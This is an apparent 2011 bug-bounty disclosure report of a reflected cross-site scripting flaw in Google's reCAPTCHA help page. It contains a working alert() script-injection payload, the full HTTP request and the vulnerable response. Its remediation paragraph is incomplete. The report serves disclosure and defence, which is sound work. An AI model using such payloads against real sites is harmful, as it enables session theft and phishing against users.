XSS, Reflected Cross Site Scripting, Best Practices, Vulnerability Management, Captcha Form, google.com

Submitted via Google Vulnerability Rewards Program | Captcha Form XSS

Reported to Google Security on 12-6-2011 and Resolved 12-8-2011 via Google Vulnerability Rewards Program

Google RXSS Recaptcha Form Blog Post



1. Cross-site scripting (reflected)

XSS in google.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, Recaptcha Form

1. Cross-site scripting (reflected)

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.google.com
Path:   /recaptcha/help

Issue detail

The value of the c request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 246f4'><script>alert(1)</script>d60cda5d2ef was submitted in the c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /recaptcha/help?c=246f4'><script>alert(1)</script>d60cda5d2ef HTTP/1.1
Host: www.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html
Date: Tue, 06 Dec 2011 05:28:42 GMT
Expires: Tue, 06 Dec 2011 05:28:42 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<html><head><title>Contact Us</title>
<link rel="stylesheet" href="/recaptcha/mailhide/shared-media/styles.css" type="text/css">
<link rel="shortcut icon" href="/recaptcha/mailhide/shared-media/favicon.ico" type="image/x-icon">
<meta http-equiv="Content-Type" content="text/html; charset=us-ascii"></head>
<body><div class="popupheader" role="banner"><img class="logo" src="/recaptcha/mailhide/shared-media/popup-top-logo.gif" alt="reCAPTCHA: stop spam. read books.">
<a href="javascript:window.close();" class="closewindow" title="close this window"><img src="/recaptcha/mailhide/shared-media/popup-top-close.gif" alt="close this window"></a></div>
<div class="popupmain" role="main"><div class="popup-help"><div class="popup-help-column" id="instructions"><div><h1>Instructions</h1>
<ul><li><p>Please enter the words you see in the box, in order and separated by a space. Doing so helps prevent automated programs from abusing this service.</p></li>
<li><p>If you are not sure what the words are, either enter your best guess or click the reload button next to the distorted words.</p></li>
<li><p>Visually impaired users can click the audio button to hear a set of words that can be entered instead of the visual challenge.</p></li>
<li><p>Still need help? <a id='morehelp' href='/recaptcha/help/feedback?c=246f4'><script>alert(1)</script>d60cda5d2ef'><b>Contact us</b></a></p></li></ul></div></div>
<div class="popup-help-column"><div><h1>Helping the World One Word at a Time</h1>
<p>By entering the words in the box, you are also helping to digitize texts that were written before the computer age. The words that you see were taken directly from old texts that are being scanned and stored in digital format in order to preserve them and make them more accessible to the world. Since some of the words in these texts are difficult for computers to process, we are using the results of your efforts to help decipher them.</p>
<p><a href="http://www.google.com/recaptcha/learnmore" target="_blank"><img src="/recaptcha/mailhide/shared-media/learnMore.gif" alt="Learn More!"></a></p></div></div></div></div></body></html>

Report generated by XSS.Cx at Thu Dec 08 12:11:43 CST 2011.